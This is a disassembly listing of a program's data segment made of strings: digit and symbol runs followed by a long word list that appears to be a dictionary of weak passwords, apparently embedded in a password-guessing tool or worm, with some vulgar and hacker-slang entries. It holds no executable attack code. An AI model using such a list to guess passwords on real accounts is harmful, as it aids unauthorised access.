a444444444	db '444444444',0        ; DATA XREF: seg002:00424F5Co
		align 4
a44444444	db '44444444',0         ; DATA XREF: seg002:00424F58o
		align 10h
a4444444	db '4444444',0          ; DATA XREF: seg002:00424F54o
a444444		db '444444',0           ; DATA XREF: seg002:00424F50o
		align 10h
a44444		db '44444',0            ; DATA XREF: seg002:00424F4Co
		align 4
a4444		db '4444',0             ; DATA XREF: seg002:00424F48o
		align 10h
a444		db '444',0              ; DATA XREF: seg002:00424F44o
a44		db '44',0               ; DATA XREF: seg002:00424F40o
		align 4
a4:					; DATA XREF: seg002:00424F3Co
		unicode	0, <4>,0
a3333333333	db '3333333333',0       ; DATA XREF: seg002:00424F38o
		align 4
a333333333	db '333333333',0        ; DATA XREF: seg002:00424F34o
		align 4
a33333333	db '33333333',0         ; DATA XREF: seg002:00424F30o
		align 10h
a3333333	db '3333333',0          ; DATA XREF: seg002:00424F2Co
a333333		db '333333',0           ; DATA XREF: seg002:00424F28o
		align 10h
a33333		db '33333',0            ; DATA XREF: seg002:00424F24o
		align 4
a3333		db '3333',0             ; DATA XREF: seg002:00424F20o
		align 10h
a333		db '333',0              ; DATA XREF: seg002:00424F1Co
a33		db '33',0               ; DATA XREF: seg002:00424F18o
		align 4
a3:					; DATA XREF: seg002:00424F14o
		unicode	0, <3>,0
a2222222222	db '2222222222',0       ; DATA XREF: seg002:00424F10o
		align 4
a222222222	db '222222222',0        ; DATA XREF: seg002:00424F0Co
		align 4
a22222222	db '22222222',0         ; DATA XREF: seg002:00424F08o
		align 10h
a2222222	db '2222222',0          ; DATA XREF: seg002:00424F04o
a222222		db '222222',0           ; DATA XREF: seg002:00424F00o
		align 10h
a22222		db '22222',0            ; DATA XREF: seg002:00424EFCo
		align 4
a2222		db '2222',0             ; DATA XREF: seg002:00424EF8o
		align 10h
a222		db '222',0              ; DATA XREF: seg002:00424EF4o
a22		db '22',0               ; DATA XREF: seg002:00424EF0o
		align 4
a2:					; DATA XREF: seg002:00424EECo
		unicode	0, <2>,0
a1111111111	db '1111111111',0       ; DATA XREF: seg002:00424EE8o
		align 4
a111111111	db '111111111',0        ; DATA XREF: seg002:00424EE4o
		align 4
a1111111	db '1111111',0          ; DATA XREF: seg002:00424EDCo
a11111		db '11111',0            ; DATA XREF: seg002:00424ED4o
		align 4
a1111		db '1111',0             ; DATA XREF: seg002:00424ED0o
		align 4
a11		db '11',0               ; DATA XREF: seg002:00424EC8o
		align 10h
a010		db '010',0              ; DATA XREF: seg002:00424EB8o
a009		db '009',0              ; DATA XREF: seg002:00424EB4o
a008		db '008',0              ; DATA XREF: seg002:00424EB0o
a006		db '006',0              ; DATA XREF: seg002:00424EA8o
a005		db '005',0              ; DATA XREF: seg000:004095A5o
					; seg002:00424EA4o
a004		db '004',0              ; DATA XREF: seg002:00424EA0o
a003		db '003',0              ; DATA XREF: seg002:00424E9Co
a002		db '002',0              ; DATA XREF: seg002:00424E98o
a001		db '001',0              ; DATA XREF: seg000:00409590o
					; seg002:00424E94o
asc_426144	db '*********',0        ; DATA XREF: seg002:00424E90o
		align 10h
asc_426150	db '********',0         ; DATA XREF: seg002:00424E8Co
		align 4
asc_42615C	db '*******',0          ; DATA XREF: seg002:00424E88o
asc_426164	db '******',0           ; DATA XREF: seg002:00424E84o
		align 4
asc_42616C	db '*****',0            ; DATA XREF: seg002:00424E80o
		align 4
asc_426174	db '****',0             ; DATA XREF: seg002:00424E7Co
		align 4
asc_42617C	db '***',0              ; DATA XREF: seg002:00424E78o
asc_426180	db '**',0               ; DATA XREF: seg002:00424E74o
		align 4
a0000000000	db '0000000000',0       ; DATA XREF: seg002:00424E6Co
		align 10h
a000000000	db '000000000',0        ; DATA XREF: seg002:00424E68o
		align 4
a@		db '@!',0               ; DATA XREF: seg002:00424E48o
		align 10h
a@_0		db '#@!',0              ; DATA XREF: seg002:00424E44o
a@_1		db '$#@!',0             ; DATA XREF: seg002:00424E40o
		align 4
a@_2		db '%$#@!',0            ; DATA XREF: seg002:00424E3Co
		align 4
a@_3		db '^%$#@!',0           ; DATA XREF: seg002:00424E38o
		align 4
a@_4		db '&^%$#@!',0          ; DATA XREF: seg002:00424E34o
a@_5		db '*&^%$#@!',0         ; DATA XREF: seg002:00424E30o
		align 10h
asc_4261D0	db '$$$',0              ; DATA XREF: seg002:00424E2Co
asc_4261D4	db '$$',0               ; DATA XREF: seg002:00424E28o
		align 4
asc_4261D8:				; DATA XREF: seg002:00424E24o
		unicode	0, <$>,0
a456_0		db '456+',0             ; DATA XREF: seg002:00424E20o
		align 4
a789_0		db '789+',0             ; DATA XREF: seg002:00424E1Co
		align 4
a0		db '=-0',0              ; DATA XREF: seg002:00424E18o
asc_4261F0	db '--++',0             ; DATA XREF: seg002:00424E14o
		align 4
asc_4261F8	db '-+',0               ; DATA XREF: seg002:00424E10o
		align 4
asc_4261FC	db '----',0             ; DATA XREF: seg002:00424E0Co
		align 4
asc_426204	db '--',0               ; DATA XREF: seg002:00424E04o
					; seg002:00424E08o
		align 4
asc_426208:				; DATA XREF: seg002:00424E00o
		unicode	0, <->,0
asc_42620C	db '++++',0             ; DATA XREF: seg002:00424DFCo
		align 4
asc_426214	db '+++',0              ; DATA XREF: seg002:00424DF8o
asc_426218	db '++',0               ; DATA XREF: seg002:00424DF4o
		align 4
asc_42621C:				; DATA XREF: seg002:00424DF0o
		unicode	0, <+>,0
a@@		db '@@',0               ; DATA XREF: seg002:00424DECo
		align 4
a@_6:					; DATA XREF: seg000:004095CAo
					; seg002:00424DE8o
		unicode	0, <@>,0
off_426228	dd offset loc_402120+1	; DATA XREF: seg002:00424DE4o
dword_42622C	dd 2121h	dword_426230	dd 24234021h, 2A265E25h, 0dword_42623C	dd 24234021h, 265E25hdword_426244	dd 24234021h, 5E25hdword_42624C	dd 24234021h, 25hdword_426254	dd 234021h	dword_426258	dd 4021h	dword_42625C	dd 21h							; seg000:0040E16Eo ...
dword_426260	dd 25h		aZimmerman	db 'zimmerman',0        ; DATA XREF: seg002:00424DB8o
		align 10h
aZap		db 'zap',0              ; DATA XREF: seg002:00424DB4o
aYellowstone	db 'yellowstone',0      ; DATA XREF: seg002:00424DB0o
aXyz		db 'xyz',0              ; DATA XREF: seg002:00424DACo
					; seg002:004252A4o
aWisconsin	db 'wisconsin',0        ; DATA XREF: seg002:00424DA8o
		align 10h
aWilliamsburg	db 'williamsburg',0     ; DATA XREF: seg002:00424DA4o
		align 10h
aWholesale	db 'wholesale',0        ; DATA XREF: seg002:00424DA0o
		align 4
aTty		db 'tty',0              ; DATA XREF: seg002:00424D9Co
aTopography	db 'topography',0       ; DATA XREF: seg002:00424D98o
		align 4
aTemptation	db 'temptation',0       ; DATA XREF: seg002:00424D94o
		align 4
aTelephone	db 'telephone',0        ; DATA XREF: seg002:00424D90o
		align 4
aTangerine	db 'tangerine',0        ; DATA XREF: seg002:00424D8Co
		align 10h
aSys		db 'sys',0              ; DATA XREF: seg002:00424D88o
aSupported	db 'supported',0        ; DATA XREF: seg002:00424D84o
		align 10h
aSuperuser	db 'superuser',0        ; DATA XREF: seg002:00424D80o
		align 4
aSuperstage	db 'superstage',0       ; DATA XREF: seg002:00424D7Co
		align 4
aSun		db 'sun',0              ; DATA XREF: seg002:00424D78o
aStuttgart	db 'stuttgart',0        ; DATA XREF: seg002:00424D74o
		align 4
aStratford	db 'stratford',0        ; DATA XREF: seg002:00424D70o
		align 4
aStephanie	db 'stephanie',0        ; DATA XREF: seg002:00424D6Co
		align 10h
aSignature	db 'signature',0        ; DATA XREF: seg002:00424D68o
		align 4
aSheffield	db 'sheffield',0        ; DATA XREF: seg002:00424D64o
		align 4
aSal		db 'sal',0              ; DATA XREF: seg002:00424D60o
aRochester	db 'rochester',0        ; DATA XREF: seg002:00424D5Co
		align 4
aRje		db 'rje',0              ; DATA XREF: seg002:00424D58o
aRachmaninoff	db 'rachmaninoff',0     ; DATA XREF: seg002:00424D54o
		align 4
aPub		db 'pub',0              ; DATA XREF: seg002:00424D50o
aProfessor	db 'professor',0        ; DATA XREF: seg002:00424D4Co
		align 4
aPrinceton	db 'princeton',0        ; DATA XREF: seg002:00424D48o
		align 4
aPondering	db 'pondering',0        ; DATA XREF: seg002:00424D44o
		align 4
aPolynomial	db 'polynomial',0       ; DATA XREF: seg002:00424D40o
		align 10h
aPersimmon	db 'persimmon',0        ; DATA XREF: seg002:00424D3Co
		align 4
aPercolate	db 'percolate',0        ; DATA XREF: seg002:00424D38o
		align 4
aPam		db 'pam',0              ; DATA XREF: seg002:00424D34o
aPad		db 'pad',0              ; DATA XREF: seg002:00424D30o
aOceanography	db 'oceanography',0     ; DATA XREF: seg002:00424D2Co
		align 10h
aNutrition	db 'nutrition',0        ; DATA XREF: seg002:00424D28o
		align 4
aNew		db 'new',0              ; DATA XREF: seg002:00424D24o
aNet		db 'net',0              ; DATA XREF: seg002:00424D20o
aMit		db 'mit',0              ; DATA XREF: seg002:00424D1Co
aMgr		db 'mgr',0              ; DATA XREF: seg002:00424D18o
aMacintosh	db 'macintosh',0        ; DATA XREF: seg002:00424D14o
		align 4
aLiz		db 'liz',0              ; DATA XREF: seg002:00424D10o
aLee		db 'lee',0              ; DATA XREF: seg002:00424D0Co
aLamination	db 'lamination',0       ; DATA XREF: seg002:00424D08o
		align 4
aKim		db 'kim',0              ; DATA XREF: seg002:00424D04o
aKey		db 'key',0              ; DATA XREF: seg002:00424D00o
aJoy		db 'joy',0              ; DATA XREF: seg002:00424CFCo
aJen		db 'jen',0              ; DATA XREF: seg002:00424CF8o
aInnocuous	db 'innocuous',0        ; DATA XREF: seg002:00424CF4o
		align 4
aImbroglio	db 'imbroglio',0        ; DATA XREF: seg002:00424CF0o
		align 4
aIbm		db 'ibm',0              ; DATA XREF: seg002:00424CECo
aHappening	db 'happening',0        ; DATA XREF: seg002:00424CE8o
		align 4
aHal		db 'hal',0              ; DATA XREF: seg002:00424CE4o
aGnu		db 'gnu',0              ; DATA XREF: seg002:00424CE0o
aFun		db 'fun',0              ; DATA XREF: seg002:00424CDCo
aForesight	db 'foresight',0        ; DATA XREF: seg002:00424CD8o
		align 4
aFoolproof	db 'foolproof',0        ; DATA XREF: seg002:00424CD4o
		align 4
aExtension	db 'extension',0        ; DATA XREF: seg002:00424CD0o
		align 4
aEstablish	db 'establish',0        ; DATA XREF: seg002:00424CCCo
		align 10h
aEnterprise	db 'enterprise',0       ; DATA XREF: seg002:00424CC8o
		align 4
aElizabeth	db 'elizabeth',0        ; DATA XREF: seg002:00424CC4o
		align 4
aEiderdown	db 'eiderdown',0        ; DATA XREF: seg002:00424CC0o
		align 4
aEdinburgh	db 'edinburgh',0        ; DATA XREF: seg002:00424CBCo
		align 10h
aDos		db 'dos',0              ; DATA XREF: seg002:00424CB8o
aDog		db 'dog',0              ; DATA XREF: seg002:00424CB4o
aDiscovery	db 'discovery',0        ; DATA XREF: seg002:00424CB0o
		align 4
aDesperate	db 'desperate',0        ; DATA XREF: seg002:00424CACo
		align 10h
aDeb		db 'deb',0              ; DATA XREF: seg002:00424CA8o
aCornelius	db 'cornelius',0        ; DATA XREF: seg002:00424CA4o
		align 10h
aCommrades	db 'commrades',0        ; DATA XREF: seg002:00424CA0o
		align 4
aChristine	db 'christine',0        ; DATA XREF: seg002:00424C9Co
		align 4
aChristina	db 'christina',0        ; DATA XREF: seg002:00424C98o
		align 4
aChemistry	db 'chemistry',0        ; DATA XREF: seg002:00424C94o
		align 10h
aCatherine	db 'catherine',0        ; DATA XREF: seg002:00424C90o
		align 4
aCat		db 'cat',0              ; DATA XREF: seg002:00424C8Co
aCampanile	db 'campanile',0        ; DATA XREF: seg002:00424C88o
		align 4
aCad		db 'cad',0              ; DATA XREF: seg002:00424C84o
aBsd		db 'bsd',0              ; DATA XREF: seg002:00424C80o
aBob		db 'bob',0              ; DATA XREF: seg002:00424C7Co
aBicameral	db 'bicameral',0        ; DATA XREF: seg002:00424C78o
		align 4
aBeethoven	db 'beethoven',0        ; DATA XREF: seg002:00424C74o
		align 10h
aAtmosphere	db 'atmosphere',0       ; DATA XREF: seg002:00424C70o
		align 4
aAsm		db 'asm',0              ; DATA XREF: seg002:00424C6Co
aAsd		db 'asd',0              ; DATA XREF: seg002:00424C68o
					; seg002:004252D4o
aAnthropogenic	db 'anthropogenic',0    ; DATA XREF: seg002:00424C64o
		align 4
aAnn		db 'ann',0              ; DATA XREF: seg002:00424C60o
aAndromache	db 'andromache',0       ; DATA XREF: seg002:00424C5Co
		align 4
aAmy		db 'amy',0              ; DATA XREF: seg002:00424C58o
aAmorphous	db 'amorphous',0        ; DATA XREF: seg002:00424C54o
		align 4
aAma		db 'ama',0              ; DATA XREF: seg002:00424C50o
aAlf		db 'alf',0              ; DATA XREF: seg002:00424C4Co
aAlbatross	db 'albatross',0        ; DATA XREF: seg002:00424C48o
		align 4
aAda		db 'ada',0              ; DATA XREF: seg002:00424C44o
aH4x0ring	db 'h4x0ring',0         ; DATA XREF: seg002:00424C40o
		align 4
aH4x0r1ng	db 'h4x0r1ng',0         ; DATA XREF: seg002:00424C3Co
		align 4
aH4x1ng		db 'h4x1ng',0           ; DATA XREF: seg002:00424C38o
		align 4
aHaxing		db 'haxing',0           ; DATA XREF: seg002:00424C34o
		align 4
aHax		db 'hax',0              ; DATA XREF: seg002:00424C30o
aWh0re		db 'wh0re',0            ; DATA XREF: seg002:00424C2Co
		align 10h
aHo		db 'ho',0               ; DATA XREF: seg002:00424C28o
		align 4
aWh0r3		db 'wh0r3',0            ; DATA XREF: seg002:00424C24o
		align 4
aWindoze95	db 'windoze95',0        ; DATA XREF: seg002:00424C20o
		align 4
aWindoze98	db 'windoze98',0        ; DATA XREF: seg002:00424C1Co
		align 4
aWindozeme	db 'windozeME',0        ; DATA XREF: seg002:00424C18o
		align 10h
aWindoze2k	db 'windoze2k',0        ; DATA XREF: seg002:00424C14o
		align 4
aWindozexp	db 'windozexp',0        ; DATA XREF: seg002:00424C10o
		align 4
aWindows95	db 'windows95',0        ; DATA XREF: seg002:00424C0Co
		align 4
aWindows98	db 'windows98',0        ; DATA XREF: seg002:00424C08o
		align 10h
aWindowsme	db 'windowsME',0        ; DATA XREF: seg002:00424C04o
		align 4
aWindows2k	db 'windows2k',0        ; DATA XREF: seg002:00424C00o
		align 4
aWindowsxp	db 'WindowsXP',0        ; DATA XREF: seg002:00424BFCo
		align 4
aMs		db 'MS',0               ; DATA XREF: seg002:00424BF8o
		align 4
aM_0		db 'M$',0               ; DATA XREF: seg002:00424BF4o
		align 4
aBilly		db 'billy',0            ; DATA XREF: seg002:00424BF0o
		align 4
aWindose	db 'windose',0          ; DATA XREF: seg002:00424BECo
aWindoze	db 'windoze',0          ; DATA XREF: seg002:00424BE8o
aWindowz	db 'windowz',0          ; DATA XREF: seg002:00424BE4o
aWileecoyote	db 'wileecoyote',0      ; DATA XREF: seg002:00424BE0o
aDonaldduck	db 'donaldduck',0       ; DATA XREF: seg002:00424BDCo
		align 4
aAlexander	db 'Alexander',0        ; DATA XREF: seg002:00424BD8o
		align 10h
aAl3x		db 'Al3x',0             ; DATA XREF: seg002:00424BD4o
		align 4
aDud3		db 'dud3',0             ; DATA XREF: seg002:00424BD0o
		align 10h
aDudette	db 'dudette',0          ; DATA XREF: seg002:00424BCCo
aD00d		db 'd00d',0             ; DATA XREF: seg002:00424BC8o
		align 10h
aLol		db 'lol',0              ; DATA XREF: seg002:00424BC4o
aRoscopcoltrane	db 'RoscoPColtrane',0   ; DATA XREF: seg002:00424BC0o
		align 4
aRoscop		db 'RoscoP',0           ; DATA XREF: seg002:00424BBCo
		align 4
aRosco		db 'Rosco',0            ; DATA XREF: seg002:00424BB8o
		align 4
aRoss		db 'Ross',0             ; DATA XREF: seg002:00424BB4o
		align 4
aTestin		db 'testin',0           ; DATA XREF: seg002:00424BB0o
		align 4
aTester		db 'tester',0           ; DATA XREF: seg002:00424BACo
		align 4
a00000000	db '00000000',0         ; DATA XREF: seg002:00424BA8o
					; seg002:00424E64o
		align 4
aZulu		db 'zulu',0             ; DATA XREF: seg002:00424BA4o
		align 10h
aZombie		db 'zombie',0           ; DATA XREF: seg002:00424BA0o
		align 4
aZmodem		db 'zmodem',0           ; DATA XREF: seg002:00424B9Co
		align 10h
aZimmerma	db 'zimmerma',0         ; DATA XREF: seg002:00424B98o
		align 4
aZiggy		db 'ziggy',0            ; DATA XREF: seg002:00424B94o
		align 4
aZeitgeis	db 'zeitgeis',0         ; DATA XREF: seg002:00424B90o
		align 10h
aZebra		db 'zebra',0            ; DATA XREF: seg002:00424B8Co
		align 4
aYoung		db 'young',0            ; DATA XREF: seg002:00424B88o
		align 10h
aYosemite	db 'yosemite',0         ; DATA XREF: seg002:00424B84o
		align 4
aYolanda	db 'yolanda',0          ; DATA XREF: seg002:00424B80o
aYellowst	db 'yellowst',0         ; DATA XREF: seg002:00424B7Co
		align 10h
aYellow		db 'yellow',0           ; DATA XREF: seg002:00424B78o
		align 4
aYankee		db 'yankee',0           ; DATA XREF: seg002:00424B74o
		align 10h
aYang		db 'yang',0             ; DATA XREF: seg002:00424B70o
					; seg002:004252ACo
		align 4
aYaco		db 'yaco',0             ; DATA XREF: seg002:00424B6Co
					; seg002:004252A8o
		align 10h
aXyzzy		db 'xyzzy',0            ; DATA XREF: seg002:00424B68o
		align 4
aXray		db 'xray',0             ; DATA XREF: seg002:00424B64o
		align 10h
aXmodem		db 'xmodem',0           ; DATA XREF: seg002:00424B60o
		align 4
aXmen		db 'xmen',0             ; DATA XREF: seg002:00424B5Co
		align 10h
aXman		db 'xman',0             ; DATA XREF: seg002:00424B58o
		align 4
aXfer		db 'xfer',0             ; DATA XREF: seg002:00424B54o
		align 10h
aXena		db 'xena',0             ; DATA XREF: seg002:00424B50o
		align 4
aWyoming	db 'wyoming',0          ; DATA XREF: seg002:00424B4Co
aWwii		db 'wwii',0             ; DATA XREF: seg002:00424B48o
		align 4
aWormwood	db 'wormwood',0         ; DATA XREF: seg002:00424B44o
		align 4
aWorm		db 'worm',0             ; DATA XREF: seg002:00424B40o
		align 4
aWork		db 'work',0             ; DATA XREF: seg002:00424B3Co
		align 4
aWorf		db 'worf',0             ; DATA XREF: seg002:00424B38o
		align 4
aWordperf	db 'wordperf',0         ; DATA XREF: seg002:00424B34o
		align 4
aWord		db 'word',0             ; DATA XREF: seg002:00424B30o
		align 10h
aWoodwind	db 'woodwind',0         ; DATA XREF: seg002:00424B2Co
		align 4
aWood		db 'wood',0             ; DATA XREF: seg002:00424B28o
		align 4
aWomen		db 'women',0            ; DATA XREF: seg002:00424B24o
		align 4
aWombat		db 'wombat',0           ; DATA XREF: seg002:00424B20o
		align 4
aWoman		db 'woman',0            ; DATA XREF: seg002:00424B1Co
		align 4
aWolverin	db 'wolverin',0         ; DATA XREF: seg002:00424B18o
		align 4
aWolf		db 'wolf',0             ; DATA XREF: seg002:00424B14o
		align 10h
aWizard		db 'wizard',0           ; DATA XREF: seg002:00424B10o
		align 4
aWithin		db 'within',0           ; DATA XREF: seg002:00424B0Co
		align 10h
aWiseass	db 'wiseass',0          ; DATA XREF: seg002:00424B08o
aWisconsi	db 'wisconsi',0         ; DATA XREF: seg002:00424B04o
		align 4
aWired		db 'wired',0            ; DATA XREF: seg002:00424B00o
		align 4
aWinston	db 'winston',0          ; DATA XREF: seg002:00424AFCo
aWing		db 'wing',0             ; DATA XREF: seg002:00424AF8o
		align 4
aWine		db 'wine',0             ; DATA XREF: seg002:00424AF4o
		align 4
aWindows	db 'windows',0          ; DATA XREF: seg002:00424AF0o
aWilma		db 'wilma',0            ; DATA XREF: seg002:00424AECo
		align 4
aWillie		db 'willie',0           ; DATA XREF: seg002:00424AE8o
		align 4
aWilliams	db 'williams',0         ; DATA XREF: seg002:00424AE4o
		align 4
aWilliam	db 'william',0          ; DATA XREF: seg002:00424AE0o
aWill		db 'will',0             ; DATA XREF: seg002:00424ADCo
		align 4
aWhore		db 'whore',0            ; DATA XREF: seg002:00424AD8o
		align 10h
aWholesal	db 'wholesal',0         ; DATA XREF: seg002:00424AD4o
		align 4
aWhitney	db 'whitney',0          ; DATA XREF: seg002:00424AD0o
aWhiting	db 'whiting',0          ; DATA XREF: seg002:00424ACCo
aWhite		db 'white',0            ; DATA XREF: seg002:00424AC8o
		align 4
aWhisky		db 'whisky',0           ; DATA XREF: seg002:00424AC4o
		align 4
aWhatnot	db 'whatnot',0          ; DATA XREF: seg002:00424AC0o
aWhatever	db 'whatever',0         ; DATA XREF: seg002:00424ABCo
		align 10h
aWestern	db 'western',0          ; DATA XREF: seg002:00424AB8o
aWest		db 'west',0             ; DATA XREF: seg002:00424AB4o
		align 10h
aWerewolf	db 'werewolf',0         ; DATA XREF: seg002:00424AB0o
		align 4
aWendy		db 'wendy',0            ; DATA XREF: seg002:00424AACo
		align 4
aWendi		db 'wendi',0            ; DATA XREF: seg002:00424AA8o
		align 4
aWell		db 'well',0             ; DATA XREF: seg002:00424AA4o
		align 4
aWeenie		db 'weenie',0           ; DATA XREF: seg002:00424AA0o
		align 4
aWeed		db 'weed',0             ; DATA XREF: seg002:00424A9Co
		align 4
aWednesda	db 'wednesda',0         ; DATA XREF: seg002:00424A98o
		align 10h
aWebpage	db 'webpage',0          ; DATA XREF: seg002:00424A94o
aWave		db 'wave',0             ; DATA XREF: seg002:00424A90o
		align 10h
aWater		db 'water',0            ; DATA XREF: seg002:00424A8Co
		align 4
aWatchwor	db 'watchwor',0         ; DATA XREF: seg002:00424A88o
		align 4
aWasp		db 'wasp',0             ; DATA XREF: seg002:00424A84o
		align 4
aWarren		db 'warren',0           ; DATA XREF: seg002:00424A80o
		align 4
aWarp		db 'warp',0             ; DATA XREF: seg002:00424A7Co
		align 4
aWargames	db 'wargames',0         ; DATA XREF: seg002:00424A78o
		align 4
aWarfare	db 'warfare',0          ; DATA XREF: seg002:00424A74o
aWarez		db 'warez',0            ; DATA XREF: seg002:00424A70o
		align 4
aWard		db 'ward',0             ; DATA XREF: seg002:00424A6Co
		align 10h
aWaco		db 'waco',0             ; DATA XREF: seg002:00424A68o
		align 4
aVodka		db 'vodka',0            ; DATA XREF: seg002:00424A64o
		align 10h
aVisualba	db 'visualba',0         ; DATA XREF: seg002:00424A60o
		align 4
aVisual		db 'visual',0           ; DATA XREF: seg002:00424A5Co
		align 4
aVisitor	db 'visitor',0          ; DATA XREF: seg002:00424A58o
aVirus		db 'virus',0            ; DATA XREF: seg002:00424A54o
		align 4
aVirginia	db 'virginia',0         ; DATA XREF: seg002:00424A50o
		align 10h
aVirgin		db 'virgin',0           ; DATA XREF: seg002:00424A4Co
		align 4
aVillage	db 'village',0          ; DATA XREF: seg002:00424A48o
aVideogam	db 'videogam',0         ; DATA XREF: seg002:00424A44o
		align 4
aVideo		db 'video',0            ; DATA XREF: seg002:00424A40o
		align 4
aVictor		db 'victor',0           ; DATA XREF: seg002:00424A3Co
		align 4
aVicky		db 'vicky',0            ; DATA XREF: seg002:00424A38o
		align 4
aVertigo	db 'vertigo',0          ; DATA XREF: seg002:00424A34o
aVeronica	db 'veronica',0         ; DATA XREF: seg002:00424A30o
		align 4
aVenus		db 'venus',0            ; DATA XREF: seg002:00424A2Co
		align 10h
aVasant		db 'vasant',0           ; DATA XREF: seg002:00424A28o
		align 4
aVampire	db 'vampire',0          ; DATA XREF: seg002:00424A24o
aValerie	db 'valerie',0          ; DATA XREF: seg002:00424A20o
aVagina		db 'vagina',0           ; DATA XREF: seg002:00424A1Co
		align 10h
aUucp		db 'uucp',0             ; DATA XREF: seg002:00424A18o
		align 4
aUtility	db 'utility',0          ; DATA XREF: seg002:00424A14o
aUtil		db 'util',0             ; DATA XREF: seg002:00424A10o
		align 4
aUsmc		db 'usmc',0             ; DATA XREF: seg002:00424A0Co
		align 10h
aUsername	db 'username',0         ; DATA XREF: seg002:00424A08o
		align 4
aUsermane	db 'usermane',0         ; DATA XREF: seg002:00424A04o
		align 4
aUsenet		db 'usenet',0           ; DATA XREF: seg002:00424A00o
		align 10h
aUrsula		db 'ursula',0           ; DATA XREF: seg002:004249FCo
		align 4
aUrchin		db 'urchin',0           ; DATA XREF: seg002:004249F8o
		align 10h
aUranus		db 'uranus',0           ; DATA XREF: seg002:004249F4o
		align 4
aUpload		db 'upload',0           ; DATA XREF: seg002:004249F0o
		align 10h
aUnlock		db 'unlock',0           ; DATA XREF: seg002:004249ECo
		align 4
aUnknown_0	db 'unknown',0          ; DATA XREF: seg002:004249E8o
aUniversi	db 'universi',0         ; DATA XREF: seg002:004249E4o
		align 4
aUniverse	db 'universe',0         ; DATA XREF: seg002:004249E0o
		align 4
aUniversa	db 'universa',0         ; DATA XREF: seg002:004249DCo
		align 4
aUniform	db 'uniform',0          ; DATA XREF: seg002:004249D8o
aUnicorn	db 'unicorn',0          ; DATA XREF: seg002:004249D4o
aUnhappy	db 'unhappy',0          ; DATA XREF: seg002:004249D0o
aUndo		db 'undo',0             ; DATA XREF: seg002:004249CCo
		align 4
aUncle		db 'uncle',0            ; DATA XREF: seg002:004249C8o
		align 4
aUmesh		db 'umesh',0            ; DATA XREF: seg002:004249C4o
		align 4
aUgly		db 'ugly',0             ; DATA XREF: seg002:004249C0o
		align 4
aTuttle		db 'tuttle',0           ; DATA XREF: seg002:004249BCo
		align 4
aTurn		db 'turn',0             ; DATA XREF: seg002:004249B8o
		align 4
aTuesday	db 'tuesday',0          ; DATA XREF: seg002:004249B4o
aTubas		db 'tubas',0            ; DATA XREF: seg002:004249B0o
		align 4
aTruth		db 'truth',0            ; DATA XREF: seg002:004249ACo
		align 4
aTrue		db 'true',0             ; DATA XREF: seg002:004249A8o
		align 4
aTron		db 'tron',0             ; DATA XREF: seg002:004249A4o
		align 4
aTrombone	db 'trombone',0         ; DATA XREF: seg002:004249A0o
		align 10h
aTrojan		db 'trojan',0           ; DATA XREF: seg002:0042499Co
		align 4
aTrivial	db 'trivial',0          ; DATA XREF: seg002:00424998o
aTrisha		db 'trisha',0           ; DATA XREF: seg002:00424994o
		align 4
aTrek		db 'trek',0             ; DATA XREF: seg002:00424990o
		align 10h
aTree		db 'tree',0             ; DATA XREF: seg002:0042498Co
		align 4
aTrapdoor	db 'trapdoor',0         ; DATA XREF: seg002:00424988o
		align 4
aTrap		db 'trap',0             ; DATA XREF: seg002:00424984o
		align 4
aTransfer	db 'transfer',0         ; DATA XREF: seg002:00424980o
		align 4
aTrails		db 'trails',0           ; DATA XREF: seg002:0042497Co
		align 10h
aTracy		db 'tracy',0            ; DATA XREF: seg002:00424978o
		align 4
aTracie		db 'tracie',0           ; DATA XREF: seg002:00424974o
		align 10h
aTraci		db 'traci',0            ; DATA XREF: seg002:00424970o
		align 4
aToyota		db 'toyota',0           ; DATA XREF: seg002:0042496Co
					; seg002:0042527Co
		align 10h
aToxic		db 'toxic',0            ; DATA XREF: seg002:00424968o
		align 4
aTortoise	db 'tortoise',0         ; DATA XREF: seg002:00424964o
		align 4
aTopograp	db 'topograp',0         ; DATA XREF: seg002:00424960o
		align 10h
aTomato		db 'tomato',0           ; DATA XREF: seg002:0042495Co
		align 4
aTokenrin	db 'tokenrin',0         ; DATA XREF: seg002:00424958o
		align 4
aToken		db 'token',0            ; DATA XREF: seg002:00424954o
		align 4
aToggle		db 'toggle',0           ; DATA XREF: seg002:00424950o
		align 4
aToad		db 'toad',0             ; DATA XREF: seg002:0042494Co
		align 4
aTits		db 'tits',0             ; DATA XREF: seg002:00424948o
		align 4
aTina		db 'tina',0             ; DATA XREF: seg002:00424944o
		align 4
aTime		db 'time',0             ; DATA XREF: seg002:00424940o
		align 4
aTiger		db 'tiger',0            ; DATA XREF: seg002:0042493Co
					; seg002:00425270o
		align 4
aTiffany	db 'tiffany',0          ; DATA XREF: seg002:00424938o
aThursday	db 'thursday',0         ; DATA XREF: seg002:00424934o
		align 10h
aThin		db 'thin',0             ; DATA XREF: seg002:00424930o
		align 4
aTheresa	db 'theresa',0          ; DATA XREF: seg002:0042492Co
aThailand	db 'thailand',0         ; DATA XREF: seg002:00424928o
		align 4
aText		db 'text',0             ; DATA XREF: seg002:00424924o
		align 4
aTetris		db 'tetris',0           ; DATA XREF: seg002:00424920o
		align 4
aTess		db 'tess',0             ; DATA XREF: seg002:0042491Co
		align 4
aTerminat	db 'terminat',0         ; DATA XREF: seg002:00424918o
		align 10h
aTerminal	db 'terminal',0         ; DATA XREF: seg002:00424914o
		align 4
aTera		db 'tera',0             ; DATA XREF: seg002:00424910o
		align 4
aTennis		db 'tennis',0           ; DATA XREF: seg002:0042490Co
		align 4
aTemptati	db 'temptati',0         ; DATA XREF: seg002:00424908o
		align 4
aTelnet		db 'telnet',0           ; DATA XREF: seg002:00424904o
		align 10h
aTelephon	db 'telephon',0         ; DATA XREF: seg002:00424900o
		align 4
aTeenage	db 'teenage',0          ; DATA XREF: seg002:004248FCo
aTeen		db 'teen',0             ; DATA XREF: seg002:004248F8o
		align 4
aTech		db 'tech',0             ; DATA XREF: seg002:004248F4o
		align 4
aTears		db 'tears',0            ; DATA XREF: seg002:004248F0o
		align 4
aTeapot		db 'teapot',0           ; DATA XREF: seg002:004248ECo
		align 4
aTeam		db 'team',0             ; DATA XREF: seg002:004248E8o
		align 4
aTaylor		db 'taylor',0           ; DATA XREF: seg002:004248E0o
		align 4
aTarragon	db 'tarragon',0         ; DATA XREF: seg002:004248DCo
		align 10h
aTarget		db 'target',0           ; DATA XREF: seg002:004248D8o
		align 4
aTara		db 'tara',0             ; DATA XREF: seg002:004248D4o
		align 10h
aTape		db 'tape',0             ; DATA XREF: seg002:004248D0o
		align 4
aTango		db 'tango',0            ; DATA XREF: seg002:004248CCo
		align 10h
aTangerin	db 'tangerin',0         ; DATA XREF: seg002:004248C8o
		align 4
